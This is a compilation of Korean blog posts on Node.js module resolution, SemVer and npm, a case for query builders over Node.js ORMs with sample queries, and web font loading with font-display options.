CommonJS 모듈이 Nodejs 내부에서 참조되면, 파일의 내용을 즉시실행함수로 감싸 버린다. 이 방법을 통해 `exports`와 `require` 기능을 사용할 수 있게 된다. 이 래퍼는 대략 아래와 같은 모양을 띈다.

```javascript
;(function (exports, require, module, __filename, __dirname) {
  // original content here
})
```

https://www.freecodecamp.org/news/node-module-exports-explained-with-javascript-export-function-examples/

`require('module')` 함수가 알아서 필요한 모듈을 찾으려면 몇가지 단계를 통과해야 한다. 이러한 프로세스를 module resolution algorithm 이라고 한다. 이는 대략 아래와 같은 과정을 거친다.

- `module`이 `http`와 같은 nodejs 내장 모듈이라면 그것을 로드한다.
- `module`이 `/` `./` `../`로 시작하면 파일이나 디렉토리를 로드한다.
- 디렉토리라면, `package.json` 파일의 `main`필드를 보고, 그것을 로드한다.
- 디렉토리인데, `package.json`이 없다면 `index.js`를 로드한다.
- 파일인데, 확장자까지 정확이 있다면 그 파일을 로드하고, 확장자가 없다면, `.js` `.json` `.node`를 로드한다.
- `./node_modules`를 살펴본다.
- `./node_modules`디렉토리를 찾기 위해 각 상위 디렉토리를 살펴본다.

위를 간단히 표로 요약해보자.

| require                   | Module Path                                                      |
| ------------------------- | ---------------------------------------------------------------- |
| `require('path')`         | built-in _path_ module                                           |
| `require('./my-mode.js')` | `/srv/my-mod.js`                                                 |
| `require('redis')`        | `/srv/node_modules/redis/`, `/node_modules/redis/`               |
| `require('foo.js')`       | `/srv/node_modules/foo.js/`, `/node_modules/foo.js`              |
| `require('./foo')`        | `/srv/foo.js` `/srv/foo.json` `/srv/foo.nde` `/srv/foo/index.js` |

한가지 팁을 주자면, 명시적으로 파일이 필요한 경우라면 확장자까지 제공하는 것이 좋다. 확장자를 생략하면, `require`가 모호해지고, 만약 같은 파일명의 `.json` 이나 `.js`가 추가된다면 코드가 깨져버릴 수도 있다.

파일이 로드되면 `require` cache에 추가된다. key/value 쌍으로 저장되는데, 여기서 키는 확인된 모듈 파일의 이름에 대한 절대경로이고, 값은 해당 모듈의 export 객체다. 따라서 단일 인스턴스를 여러번 exports 하더라도 동일한 싱글톤 객체를 참조할 수 있게 된다.

## SemVer: 시멘틱 버저닝

`SemVer`란 packages를 릴리즈하는데 있어 일종의 규칙이라 볼 수 있다. npm을 비롯한 여러 플랫폼에서 사용되고 있다. `SemVer`의 버전 문자열은 `1.2.3`과 같이 마침표로 구분된 세개의 숫자로 이루어져 있다. 첫번째는 메이저, 두번째는 마이너, 세번째는 패치 버전이다.

각 버전은 다른 의미를 가지고 있다. 일반적으로 브레이킹 체인지가 있을 경우 (= 패키지의 작동 방식이 바뀌는 경우) 메이저 버전이 변경된다. 새로운 기능이 추가 되는 경우 마이너 버전이 증가한다. 마지막으로 버그 수정의 경우에는 패치버전이 변경된다. 숫자가 커지는 경우 오른쪽 숫자가 0으로 바뀔 수 있다. `9.0.0`이 메이저 버전업을 거치게 되면 `10.0.0`이 될 수 있는 것이다.

만약 `0.1.2` 와 같이 선행버전이 0으로 시작하는 경우, 가장 중요한 숫자는 그 다음 숫자가 된다. 즉, `0`으로 시작하는 패키지는 아직 안정적인 프로젝트는 아님을 의미한다.

![semver](https://thomashunter.name/media/2021/packages-modules/semver-ranges.png)

이 SemVer의 철학을 고수하는 것이 바로 npm 커뮤니티를 하나로 묶는 것이다. 호환성에 대한 일종의 이러한 범용적인 가정 덕분에, 애플리케이션은 특정 패키지 버전 대신 패키지의 '범위'에 자유롭게 의존활 수 있다. `package.json`에는 키와 값으로, 즉 키는 패키지 이름, 값은 패키진의 버전 범위 (또는 특정 버전)을 나타낸다.

```json
"dependencies": {
  "fastify": "^3.11.1",
  "ioredis": "~4.22.0",
  "pg": "8.5.1"
}
```

`fastify`는 `^`기호를 사용하여 버전 범위를 나타낸다. 이는 지정된 버전이 호환되는 모든 버전을 허용한다. (`3.11.1` `3.11.9` `3.19.3`은 가능하지만, `3.11.0`과 같이 이전 버전, 혹은 `4.0.1`과 같은 더 높은 메이저 버전은 허용하지 않는다.) 일반적으로 npm으로 새패키지를 설치할때 기본적으로 사용된다.

`ioredis`는 `~`를 사용한다. 이는 버그 수정 (패치 버전 업데이트)만 가능하고, 마이너버전 업데이트도 허용하지 않는다는 것을 의미한다. 이는 패키지와의 강력한 연결이 요구될 때 사용할 수 있다.

`pg`는 어떠한 기호도 사용하고 있지 않는다. 이 특정 패키지만 사용할 수 있는데 이를 패키지 버전 고정이라고도 한다.

## npm package와 `node_modules` 디렉토리

npm 패키지는 node.js 모듈및 json 파일, `README.md` 등을 포함하는 아카이브다. 공용 패키지는 `npmjs.com` 레지스트리 등에 업데이트 할 수 있으며, private 패키지는 private registry 또는 회사 소유의 레지스트리에 업로드 할 수 있다. Node.js 자체는 npm 패키지가 무엇인지 인식하지 않고, `node_modules` 디렉토리에 있는 디렉토리와 파일만 인식한다. 이러한 패키지를 추출하여 올바른 위치에 콘텐츠를 배치하는 것이 npm CLI의 몫이다.

Node.js 자체는 다른 플랫폼에서 제공하는 많은 기능이 없기 때문에, npm 패키지는 node.js 애플리케이션에 매우 중요하다고 볼 수 있다. 이는 npm 패키지 생태계가 성장할 수 있도록 장려된 의도적인 설계 철학이다.

따라서 거의 모든 node.js 애플리케이션에 dependencies, 종속성이 있다. dependencies란 애플리케이션이 의존하고 있는 npm 패키지다. 이러한 dependency는 직접적인 의존성일 수도 있고, dependency가 의존하는 또다른 하위 dependency일 수도 있다. 이는 dependency의 계층 구조를 만들어 낸다.

아래 구조를 예를 들어보자.

```bash
node_modules/
  foo/ (1.0.0)
  bar/ (2.0.0)
    node_modules/
      foo/ (1.0.0)
```

여기서 한가지 발견할 수 있는 문제는 순환 의존성이다. `foo` 패키지가 만약에 `bar`에 의존하게 되면 무한히 순환하게 되는 중첩된 폴더구조가 생겨버린다. 또, 그렇지 않더라도, `foo` 모듈이 두번 설치되어 공간을 낭비하게 된다. npm은 이를 위해 패키지를 설치 할 때 패키지를 트리 위에 올려 중복을 제거한다.

```bash
node_modules/
  foo/ (1.0.0)
  bar/ (2.0.0)
```

`bar` 패키지는 이제 `foo` 패키지를 자신의 `node_modules` 대신, 상위 폴더로 접근하여 자신과 동등한 위치에 있는 `foo`를 사용할 것이다.

더 복잡한 예를 살펴보자. 예를 들어, 서로다른 패키지는 각각 서로다른 버전의 패키지에 의존하고 있을 수 있다. npm은 각각의 패키지를 만족하는 최적의 패키지 버전을 찾아내서, 호이스팅 시켜 디스크 사용량을 줄이게 된다.

그러나 호이스팅이 불가능한 경우도 있다. 아래와 같이 다른 버전을 사용하는 경우, 각각 다른 버전의 패키지가 설치되어 버릴 수도 있다.

```bash
node_modules/
  foo/ (1.0.0)
  bar/ (2.0.0)
    node_modules/
      foo/ (2.0.0)
```

`package-lock.json` (구 `npm-shrinkwrap.json`)는, 패키지의 직접적인 의존성,그리고 일시적인 의존성도 차단하기 위해 만들어졌다. 이 파일이 없다면, 새패키지 버전이 나올때마다 디스크에 설치파는 패키지의 버전을 매번 확인해야 할 것이다.

## npm install vs npm ci

의존성을 설치하는 npm cli 명령어는 `install`과 `ci`가 있다. 한줄로 요약하자면, `package-lock.json`을 오염시키지 않기 위한 환경 (빌드, ci, 배포 등)에서는 `ci`를, 그외의 개발 과정중에서는 `install`을 사용하는 것이 좋다.

https://docs.npmjs.com/cli/v7/commands/npm-ci

`npm ci`는

- `package-lock.json` `npm-shrinkwrap.json`이 있을 경우 (패키지 버전을 다시 확인하지 않고 두 파일에 기재된 그대로 설치)
- `node_modules`가 없는 경우

에 매우 빠르게 동작한다.

따라서 ci를 사용하기 위해서는,

- `package-lock.json` `npm-shrinkwrap.json`가 반드시 존재해야 한다.(없다면 `npm install`)
- `package-lock.json`의 종속성이 `package.json`과 일치하지 않는다면, 업데이트 되는 것이 아니고 에러가 난다. (이를 해결하려면 `npm install`)
- `npm ci`는 전체 종속성을 설치할 때만 사용 `npm ci react`는 불가능
- `node_modules`가 존재한다면 `npm ci`는 해당 폴더를 삭제
- 절대로 `package.json`이나 `package-lock.json`을 수정하지 않는다.

---

Source: https://yceffort.kr/2021/07/dont-use-nodjs-orm.md
Title: 왜 Nodejs ORM을 쓰지 말아야 할까
Description: SQL 오랫만에 보니까 반갑당
Date: 2021-07-02
Tags: nodejs, backend, database

## Table of Contents

Nodejs와 SQL을 사용하는 백엔드 환경을 구성하게 되면, ORM의 사용을 고려하게 된다. 그런데 왜 이 ORM의 사용을 자제해야할까?

글을 들어가기에 앞서 ORM 으로 만들어진 오픈소스를 디스(?)하기 위한 목적이 아닌 글을 밝힌다. 각 오픈소스는 열심히 만들어지고 있고, 많은 프로덕션 애플리케이션이 이를 기반으로 돌아가고 있으며, 나도 ORM으로 만들어진 백엔드 애플리케이션을 운영하고 있다.

## ORM

ORM (Object-relational mapping)은 객체와 데이터베이스 시스템을 연결(맵핑)해주는 라이브러리다. 세상엔 다양한 데이터 베이스 시스템이 있고 이를 다양한 방식으로 연결해야 하는데, ORM은 이렇게 둘 사이 (소스와 애플리케이션)의 연결을 도와주는 가교 역할을 한다. 따라서 많은 개발자들이 ORM과 데이터베이스의 마이그레이션을 편리하게 하기 위해 사용한다.

왜 쓰지 말아야 하는지에 대해 논의하기전에, 먼저 ORM의 장점을 살펴보자.

- 중복 코드 방지
- 다른 데이터베이스로 쉽게 교체 가능
- 여러 테이블에 쉽게 쿼리를 날릴 수 있음
- 인터페이스를 작성하는 시간을 아껴 비즈니스 로직에 집중할 수 있음

## ORM과 Nodejs: 추상화 계층 살펴보기

ORM에 깊게 들어가기에 앞서 추상화 계층 (abstraction layer)을 살펴보자. 컴퓨터의 다른 모든 것과 마찬가지로, 추상화 계층이 추가되는 것이 꼭 좋은 것 만은 아니다. 추가될 때 마다 성능이 저하되고, 이 성능을 발판삼아 개발자의 생산성을 향상시키게 된다 (물론 꼭 그런건 아니다)

### 저수준: 데이터베이스 드라이버

기본적으로 TCP 패킷을 수동으로 생성하여 데이터베이스를 전달하는 최소한의 과정을 제외한 가장 낮은 수준이다. 데이터베이스 드라이버 데이터베이스에 대한 연결 (풀링)을 처리한다. 이 레벨에서는 raw sql 쿼리를 작성하여 데이터베이스에 넘기고, 데이터베이스로 부터 응답을 받게된다. node.js의 생태계에서는 이러한 역할을 하는 많은 라이브러리가 있다.

- https://github.com/mysqljs/mysql
- https://github.com/brianc/node-postgres
- https://github.com/mapbox/node-sqlite3

각 라이브러리는 기본적으로 동일한 방식으로 동작한다. 데이터베이스 인증정보를 가져오고, 새 데이터베이스 인스턴스를 만들고, 연결하고, 문자열 형식으로 쿼리를 전송하고, 결과를 비동기적으로 처리한다.

```javascript
#!/usr/bin/env node

// $ npm install pg

const {Client} = require('pg')
const connection = require('./connection.json')
const client = new Client(connection)

client.connect()

const query = `SELECT
  ingredient.*, item.name AS item_name, item.type AS item_type
FROM
  ingredient
LEFT JOIN
  item ON item.id = ingredient.item_id
WHERE
  ingredient.dish_id = $1`

client.query(query, [1]).then((res) => {
  console.log('Ingredients:')
  for (let row of res.rows) {
    console.log(`${row.item_name}: ${row.quantity} ${row.unit}`)
  }

  client.end()
})
```

### 중간수준: 쿼리 빌더

이는 데이터베이스 드라이버 모듈을 사용하는 것과 완전한 ORM을 사용하는 것 사이의 중간 정도 수준이다. 이 정도 수준을 구현한 라이브러리는 [Knext](https://knexjs.org/)다. 이 라이브러리는 여러가지 다른 SQL 구문을 만들어낼 수 있다. Knex는 함께 사용해야 하는 다른 라이브러리를 같이 설치해줘야 한다.

Knex 인스턴스 생성시 사용하는 SQL과 함께 연결관련 정보를 넘겨서 사용할 수 있다. 작성하는 쿼리는 기본적으로 SQL 쿼리와 유사하다. 한가지 좋은 점은 문자열을 연결해서 SQL 쿼리를 만드는 것 보다는 더 편리한 방식으로 동적 쿼리를 프로그래밍 방식으로 생성할 수 있다는 것이다. (가끔 보안 취약점이 발생할 수도 있음)

```javascript
#!/usr/bin/env node

// $ npm install pg knex

const knex = require('knex')
const connection = require('./connection.json')
const client = knex({
  client: 'pg',
  connection,
})

client
  .select([
    '*',
    client.ref('item.name').as('item_name'),
    client.ref('item.type').as('item_type'),
  ])
  .from('ingredient')
  .leftJoin('item', 'item.id', 'ingredient.item_id')
  .where('dish_id', '=', 1)
  .debug()
  .then((rows) => {
    console.log('Ingredients:')
    for (let row of rows) {
      console.log(`${row.item_name}: ${row.quantity} ${row.unit}`)
    }

    client.destroy()
  })
```

### 고수준: ORM

이제 우리가 고려할 가장 높은 수준의 추상화다. 써본 사람들은 알겠지만, 일반적으로 ORM을 사용할 때는 사전에 설정을 하는데 많은 시간을 쏟아야 한다. ORM의 요점은, 이름에서 알 수 있는 것처럼 관계형 데이터 베이스의 데이터를 애플리케이션의 객체 (일반적으로 클래스 인스턴스)에 매핑하는 것이다. 따라서 애플리케이션 코드에서 이러한 객체의 구조와 관계를 정의해야 한다.

- https://github.com/sequelize/sequelize
- https://github.com/bookshelf/bookshelf
- https://github.com/balderdashy/waterline
- https://github.com/Vincit/objection.js

## Sequelize 사용해보기

가장 유명한 ORM인 `Sequelize`를 사용해보자.

```javascript
#!/usr/bin/env node

// $ npm install sequelize pg

const Sequelize = require('sequelize')
const connection = require('./connection.json')
const DISABLE_SEQUELIZE_DEFAULTS = {
  timestamps: false,
  freezeTableName: true,
}

const {DataTypes} = Sequelize
const sequelize = new Sequelize({
  database: connection.database,
  username: connection.user,
  host: connection.host,
  port: connection.port,
  password: connection.password,
  dialect: 'postgres',
  operatorsAliases: false,
})

const Dish = sequelize.define(
  'dish',
  {
    id: {type: DataTypes.INTEGER, primaryKey: true, autoIncrement: true},
    name: {type: DataTypes.STRING},
    veg: {type: DataTypes.BOOLEAN},
  },
  DISABLE_SEQUELIZE_DEFAULTS,
)

const Item = sequelize.define(
  'item',
  {
    id: {type: DataTypes.INTEGER, primaryKey: true, autoIncrement: true},
    name: {type: DataTypes.STRING},
    type: {type: DataTypes.STRING},
  },
  DISABLE_SEQUELIZE_DEFAULTS,
)

const Ingredient = sequelize.define(
  'ingredient',
  {
    dish_id: {type: DataTypes.INTEGER, primaryKey: true},
    item_id: {type: DataTypes.INTEGER, primaryKey: true},
    quantity: {type: DataTypes.FLOAT},
    unit: {type: DataTypes.STRING},
  },
  DISABLE_SEQUELIZE_DEFAULTS,
)

Item.belongsToMany(Dish, {
  through: Ingredient,
  foreignKey: 'item_id',
})

Dish.belongsToMany(Item, {
  through: Ingredient,
  foreignKey: 'dish_id',
})

Dish.findOne({where: {id: 1}, include: [{model: Item}]}).then((rows) => {
  console.log('Ingredients:')
  for (let row of rows.items) {
    console.log(
      `${row.dataValues.name}: ${row.ingredient.dataValues.quantity} ` +
        row.ingredient.dataValues.unit,
    )
  }

  sequelize.close()
})
```

## 정말 ORM이 필요한가?

### 1. SQL이 아닌 ORM 자체를 배우게 된다.

많은 사람들이 SQL을 배우기 위해 ORM을 선택한다. 사람들은 SQL은 배우기 어렵고, ORM을 배우면 하나의 언어만 사용하여 애플리케이션을 작성할 수 있다는 믿음을 갖곤 한다. 언뜻 보기에 이는 맞는 것 같다. 그러나 ORM은 애플리케이션의 나머지 언어와 동일하게 작성되지만, SQL은 완전히 다른 문법을 가진 언어다.

이러한 사고방식에는 문제가 있다. ORM은 꽤 복잡한 라이브러리중 하나다. ORM을 사용하기 위해서 배워야할 것은 많으며, 이를 배우는 것은 결코 쉬운일이 아니다.

그리고 특정 ORM에 익숙해져버리면, 다른 ORM 사용을 원활하게 하지 못할 수도 있다. 이는 마치 JS/Node.js에서 C#/.NET 환경으로 오는 것과 유사한 기분이 들 수 있다.

#### Sequelize

```javascript
#!/usr/bin/env node

// $ npm install sequelize pg

const Sequelize = require('sequelize')
const {Op, DataTypes} = Sequelize
const connection = require('./connection.json')
const DISABLE_SEQUELIZE_DEFAULTS = {
  timestamps: false,
  freezeTableName: true,
}

const sequelize = new Sequelize({
  database: connection.database,
  username: connection.user,
  host: connection.host,
  port: connection.port,
  password: connection.password,
  dialect: 'postgres',
  operatorsAliases: false,
})

const Item = sequelize.define(
  'item',
  {
    id: {type: DataTypes.INTEGER, primaryKey: true, autoIncrement: true},
    name: {type: DataTypes.STRING},
    type: {type: DataTypes.STRING},
  },
  DISABLE_SEQUELIZE_DEFAULTS,
)

// SELECT "id", "name", "type" FROM "item" AS "item"
//     WHERE "item"."type" = 'veg';
Item.findAll({where: {type: 'veg'}}).then((rows) => {
  console.log('Veggies:')
  for (let row of rows) {
    console.log(`${row.dataValues.id}t${row.dataValues.name}`)
  }
  sequelize.close()
})
```

#### Bookshelf

```javascript
#!/usr/bin/env node

// $ npm install bookshelf knex pg

const connection = require('./connection.json')
const knex = require('knex')({
  client: 'pg',
  connection,
  // debug: true
})
const bookshelf = require('bookshelf')(knex)

const Item = bookshelf.Model.extend({
  tableName: 'item',
})

// select "item".* from "item" where "type" = ?
Item.where('type', 'veg')
  .fetchAll()
  .then((result) => {
    console.log('Veggies:')
    for (let row of result.models) {
      console.log(`${row.attributes.id}t${row.attributes.name}`)
    }
    knex.destroy()
  })
```

#### Waterline

```javascript
#!/usr/bin/env node

// $ npm install sails-postgresql waterline

const pgAdapter = require('sails-postgresql')
const Waterline = require('waterline')
const waterline = new Waterline()
const connection = require('./connection.json')

const itemCollection = Waterline.Collection.extend({
  identity: 'item',
  datastore: 'default',
  primaryKey: 'id',
  attributes: {
    id: {type: 'number', autoMigrations: {autoIncrement: true}},
    name: {type: 'string', required: true},
    type: {type: 'string', required: true},
  },
})

waterline.registerModel(itemCollection)

const config = {
  adapters: {
    pg: pgAdapter,
  },

  datastores: {
    default: {
      adapter: 'pg',
      host: connection.host,
      port: connection.port,
      database: connection.database,
      user: connection.user,
      password: connection.password,
    },
  },
}

waterline.initialize(config, (err, ontology) => {
  const Item = ontology.collections.item
  // select "id", "name", "type" from "public"."item"
  //     where "type" = $1 limit 9007199254740991
  Item.find({type: 'veg'}).then((rows) => {
    console.log('Veggies:')
    for (let row of rows) {
      console.log(`${row.id}t${row.name}`)
    }
    Waterline.stop(waterline, () => {})
  })
})
```

#### Objection

```javascript
#!/usr/bin/env node

// $ npm install knex objection pg

const connection = require('./connection.json')
const knex = require('knex')({
  client: 'pg',
  connection,
  // debug: true
})
const {Model} = require('objection')

Model.knex(knex)

class Item extends Model {
  static get tableName() {
    return 'item'
  }
}

// select "item".* from "item" where "type" = ?
Item.query()
  .where('type', '=', 'veg')
  .then((rows) => {
    for (let row of rows) {
      console.log(`${row.id}t${row.name}`)
    }
    knex.destroy()
  })
```

단순한 읽기 작업이지만, 예제 사이에 많은 차이가 존재하는 것을 볼 수있다. 이는 여러 테이블을 조인하게 되면 작업이 복잡해지면서 ORM 구문이 더 복잡하고 달라질 수 있다. Node.js에는 수많은 ORM이 있고, 또 모든 플랫폼에 대해 수백개의 ORM이 존재한다. 이를 다 배운다는 것은 악몽과도 같다.

그러나 SQL 구문을 배운다면 이런걱정을 할 필요가 없다. SQL을 사용하여 쿼리를 생성하는 방법을 배우게 되면, 이 하나의 지식을 여러 플랫폼 사이에서 공유할 수 있다.

### 2. 복잡한 ORM 호출은 비효율적일 수 있다.

ORM의 본래 목적은 데이터베이스에 저장된 기본 데이터를, 특정 애플리케이션 내에서 상호작용할 수 있는 객체에 매핑하는 것이다. 따라서 ORM을 사용하여 데이터를 가져올 때 몇가지 비효율성이 발생하게 된다.

아래 추상화 레벨별 예제를 살펴보자.

#### `pg` 드라이버 사용

이 방법에서는 쿼리를 직접 손으로 쓰면 된다. 이는 우리가 원하는 데이터를 얻을 수 있는 가장 간결한 방법이다.

```sql
SELECT
  ingredient.*, item.name AS item_name, item.type AS item_type
FROM
  ingredient
LEFT JOIN
  item ON item.id = ingredient.item_id
WHERE
ingredient.dish_id = ?;
```

이 쿼리를 `EXPLAIN`으로 살펴보면, `34.12`의 비용이 나온다.

#### `knex` 쿼리 빌더 사용시

```sql
select
  *, "item"."name" as "item_name", "item"."type" as "item_type"
from
  "ingredient"
left join
  "item" on "item"."id" = "ingredient"."item_id"
where
"dish_id" = ?;
```

앞선 예와 마찬가지로 일부 사소한 형식 `"`과 불필요한 몇가지를 제외하면 동일하다. 마찬가지의 비용인 `34.12`가 나온다.

#### Sequelize ORM

이제 ORM으로 생성한 쿼리를 살펴보자.

```sql
SELECT
  "dish"."id", "dish"."name", "dish"."veg", "items"."id" AS "items.id",
  "items"."name" AS "items.name", "items"."type" AS "items.type",
  "items->ingredient"."dish_id" AS "items.ingredient.dish_id",
  "items->ingredient"."item_id" AS "items.ingredient.item_id",
  "items->ingredient"."quantity" AS "items.ingredient.quantity",
  "items->ingredient"."unit" AS "items.ingredient.unit"
FROM
  "dish" AS "dish"
LEFT OUTER JOIN (
  "ingredient" AS "items->ingredient"
  INNER JOIN
  "item" AS "items" ON "items"."id" = "items->ingredient"."item_id"
) ON "dish"."id" = "items->ingredient"."dish_id"
WHERE
"dish"."id" = ?;
```

이 쿼리는 앞선 쿼리와는 많이 다르다. 앞서 정의한 `관계` 때문에, Sequelize는 요청한 것보다 더 많은 정보를 얻으려고 한다. 이 쿼리의 비용은 `42.32`다.

### 3. ORM이 만능은 아니다.

일부 쿼리는 ORM 작업으로 표현할 수 없다. 이러한 쿼리를 생성하는 경우에는 SQL 쿼리를 직접생성하는 작업으로 회귀해야 한다. 이는 ORM을 사용하는 와중에도 코드베이스에 여전히 하드 코딩된 쿼리가 존재할 수 있다는 것을 의미한다. 이러한 프로젝트를 개발하는 개발자는 ORM이나 SQL구문 모두를 알아야 한다.

ORM으로 표현할 수 없는 쿼리에는 쿼리에 서브쿼리가 포함된 경우다.

```sql
SELECT *
FROM item
WHERE
  id NOT IN
    (SELECT item_id FROM ingredient WHERE dish_id = 2)
  AND id IN
(SELECT item_id FROM ingredient WHERE dish_id = 1);
```

내가 아는한, 이 쿼리는 앞서 언급한 ORM을 사용하여 명확하게 나타낼 수 없다. 이러한 상황에 대처하기 위해, ORM에서는 쿼리인터페이스에 로우 쿼리 문자열을 주입하는 기능을 제공하는 것이 일반적이다.

Sequelize의 경우에는 로우 쿼리문을 실행하는 `.query()`메소드를 제공한다. Bookshelf와 Objection ORM을 사용하면, 로우 knex 객체에 엑세스할 수 있다. Knex 객채에는 로우 쿼리를 실행하는 `.raw()` 메소드도 있다. 어쨌건 간에, 여전히 특정 쿼리를 사용하기 위해서는 SQL을 이해해야한다.

## 쿼리 빌더를 사용하자.

저수준 데이터베이스 드라이버 모듈을 사용하는 것은 매력적이다. 쿼리를 손수 작성하므로, 데이터베이스에 쿼리를 생성할 때 오버헤드를 일으키지 않는다. 또한 프로젝트에 의존하는 전반적인 의존성도 최소화 할 수 있다. 그러나 동적쿼리를 생성하는 작업이 매우 귀찮을 수 있다.

사용자가 특정 기준에 따라 데이터를 가져오는 예제를 상상해보자.

```sql
SELECT * FROM things WHERE color = ?;
```

그러나 옵션이 다양해지면 아래와 같이 복잡해진다.

```sql
SELECT * FROM things; -- Neither
SELECT * FROM things WHERE color = ?; -- Color only
SELECT * FROM things WHERE is_heavy = ?; -- Is Heavy only
SELECT * FROM things WHERE color = ? AND is_heavy = ?; -- Both
```

매우 복잡해졌다. 그러나 앞선 이유로 인해 우리는 ORM을 사용하지 않을 것이다. 그렇다면?

쿼리 빌더가 매우 유용하게 쓰일 수 있다. knex에서 제공하는 인터페이스는 기본 SQL 쿼리와 매우 유사하므로, SQL 쿼리에 대해서 잘 이해해야 한다. 이는 typescript가 javascript로 변환되는 것과 유사하다.

SQL에 대해서 완전히 이해했다면, 쿼리빌더를 사용하는 것이 가장 좋은 해결책이다. 절대로 하위 계층에서 발생하는 일을 외면하기 위한 도구로 사용하지 말자. 편의상의 이유로만 사용해야 하며, 반드시 무슨일이 벌어지고 있는지 이해해야 한다. `Knex()`에 debug옵션을 추가하면 쿼리가 어떻게 생성되는지 알 수 있다.

```javascript
const knex = require('knex')({
  client: 'pg',
  connection,
  debug: true, // Enable Query Debugging
})
```

> ORM의 존재에 대한 갑론을박이 이렇게 뜨거운줄은 몰랐다. 엔터프아리즈급 백엔드를 많이 작성해본 경험이 없어서 이게 정답이다라고 뚜렷하게 이야기할 수는 없지만, 이런저런 측면에서 고민해볼만한 주제인 것 같긴 하다. 그러나 한가지 공통된 의견은, SQL을 꼭 배워야 한다는 것. 프론드엔드 개발자 또한 마찬가지로.

- https://blog.logrocket.com/why-you-should-avoid-orms-with-examples-in-node-js-e0baab73fa5/comment-page-1/#comments
- https://martinfowler.com/bliki/OrmHate.html
- https://enterprisecraftsmanship.com/posts/do-you-need-an-orm/
- https://medium.com/@mithunsasidharan/should-i-or-should-i-not-use-orm-4c3742a639ce
- https://hackernoon.com/you-dont-need-an-orm-7ef83bd1b37d

---

Source: https://yceffort.kr/2021/06/ways-to-faster-web-fonts.md
Title: 웹 폰트 로딩을 더 빠르게 하는 방법
Description: 개발할 때 간지나는 이쁜 폰트 추천받습니다
Date: 2021-06-27
Tags: web-performance, css

## Table of Contents

## 들어가기에 앞서

web font에 대해서 이야기 할 때, 자주나오는 두 용어의 정의와 차이점에 대해서 먼저 알아본다.

- typeface: 한글로는 `서체`라고 하며 공통 디자인을 공유하는 글꼴 전체를 의미한다. 이 서체에는 굵기나 스타일 등이 포함될 수 있다. 예를 들어 Helvetica는 서체의 한 종류다. 서체는 일종의 폰트 패밀리로 보면 된다.
- font: 한글로는 `글꼴` 이라고 한다. 서체의 단일 굵기와 스타일이다. 글꼴은 특정 크기, 굵기 및 스타일을 포함하여 제공된다. (예 10 포인트 Helvetica 볼드 이태릭체) 벡터 기반의 최신 디지털 글꼴 디자인은 단일 글꼴을 무한히 확장하거나 축소할 수 있지만, 각 굵기와 스타일에 대해 별도의 파일이 필요하다.

## 모던 파일 포맷을 사용하자

[Web Open Font Format 2.0](https://www.w3.org/TR/WOFF2/)은, 현재 기준 가장 작고 효율적인 웹 폰트 파일 형태다. CSS에서 `@font-face`룰을 사용할때, woff2 글꼴이 ttf와 같은 오래된 구식의 덜 효율적인 폰트보다 더 앞서서 선언되있게 끔 해야 한다. 브라우저는 더 큰 파일이라 할지라도, 먼저 선언되어 있는 글꼴을 인식하여 사용하게 된다.

```css
@font-face {
  font-family: 'Typefesse';
  src:
    url('typefesse.woff2') format('woff2'),
    url('typefesse.woff') format('woff');
}
```

IE8 지원을 할 것이 아니라면, WOFF2나 WOF 보다 더 오래된 폰트 형식을 사용할 필요가 없다. IE 11 지원을 배제한다면, WOFF2만 사용 하면 된다.

- https://caniuse.com/woff
- https://caniuse.com/woff2

만약 TTF 파일 만 가지고 있다면, https://onlinefontconverter.com/ 와 같은 사이트를 방문해서 변환하는 것이 좋다. 물론 그전에 폰트에 대한 라이센스를 확인해봐야 한다.

## `font-display` 지시자를 사용하자

1. Flash of Invisible Text (FOIT): 브라우저가 폰트를 다운로드 하기전에 폰트가 보이지 않는 현상이다.
2. Flash of Unstyled Text (FOUT): 브라우저가 폰트를 다운로드하기전에 폰트가 적용되지 않은 글자가 보이는 현상이다.

![FOIT vs FOUT](https://d2.naver.com/content/images/2018/12/helloworld-201812-webfont_14.gif)

물론 두 상황 모두 이상적이지는 않지만, 만약 웹 폰트를 사용하게 되면 사용자가 처음 웹사이트를 방문할때 둘 중 하나의 현상이 발생하게 될 것이다. (두 번째 방문 시 부터는 브라우저가 캐시에서 폰트를 제공하겠지.....?) 만약 [font-display](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display)지시자 이전에 `font-face`와 같은 규칙을 추가한다면, 브라우저에 위에서 언급한 두개중 어떤 것을 선택할지 알려줄 수 있다.

```css
@font-face {
  font-family: 'Typefesse';
  src:
    url('typefesse.woff2') format('woff2'),
    url('typefesse.woff') format('woff');
  font-display: swap;
}
```

여기에서 `font-display`에 적용할 수 있는 다섯가지 값이 있다. 일단 첫번째 값은 `auto`로, 브라우저의 기본값에 의존하는 것이다. 일단 브라우저의 기본값은 대부분 FOIT 이다.

https://developer.mozilla.org/ko/docs/Web/CSS/@font-face/font-display

### swap

![swap](./images/font-swap.svg)

swap이란 이름에서 느껴지는 것처럼, 웹폰트가 로딩되기 전까지 fallback 폰트로 글자를 보여주는 것이다. (FOUT) 폰트 다운로드가 끝나자마자 폰트 스왑이 일어나게 된다. 폰트가 로딩되지 않더라도 사용자들이 글자를 읽을 수 있기 때문에 좋다고 볼 수 있다. 그러나 fallback font를 웹폰트와 비슷한 것으로 설정 하지 않는다면, 화면전환이 크게 일어날 수 있으므로 조심해야 한다.

### block

![block](./images/font-block.svg)

웹 폰트가 로딩되기전가지 브라우저에 텍스트를 숨기기 위해서 (FOIT) 사용되는 방식이다. 그러나 웹 폰트가 다운로드될 때까지 하염없이 기다리는 것은 아니다. 글꼴이 특정 시간 (보통 3초)내에 로딩되지 않으면 브라우저는 fallback font를 사용하여 로딩 한 후에 웹 폰트로 교체한다. FOUT가 별로라고 생각한다면 아마도 이게 최선의 방법일 수도 있다. 그러나 다시한번 말하지만, 폰트가 다운로드 되기 전까지 글자가 보이지 안않는다.

### fallback

![fallback](./images/font-fallback.svg)

swap이랑 비슷하긴 한데, 두가지 차이점이 있다.

1. 0.1초 정도 텍스트가 보이지 않는 블록이 발생하며, 이후에는 fallback font가 보여진다.
2. 3초 이내로 다운로드 되지 않는다면, 웹 폰트 다운로드와 상관없이 앞으로 계속 fallback font가 보여진다.

사용자가 처음 사이트르 방문했을때, 웹 폰트로 제공되지 않더라도 별로 상관이 없다면 이 옵션도 괜찮을 수 있다.

### optional

![optional](./images/font-optional.svg)

`fallback`과 비슷한데, `fallback`의 2번 기능이 제거된 버전이라 볼 수 있다. 여기에 추가로 폰트가 다운로드되는데 너무 오래걸린다면, 브라우저가 연결을 취소 시켜버릴 수 있는 기능까지 추가되어 있다.

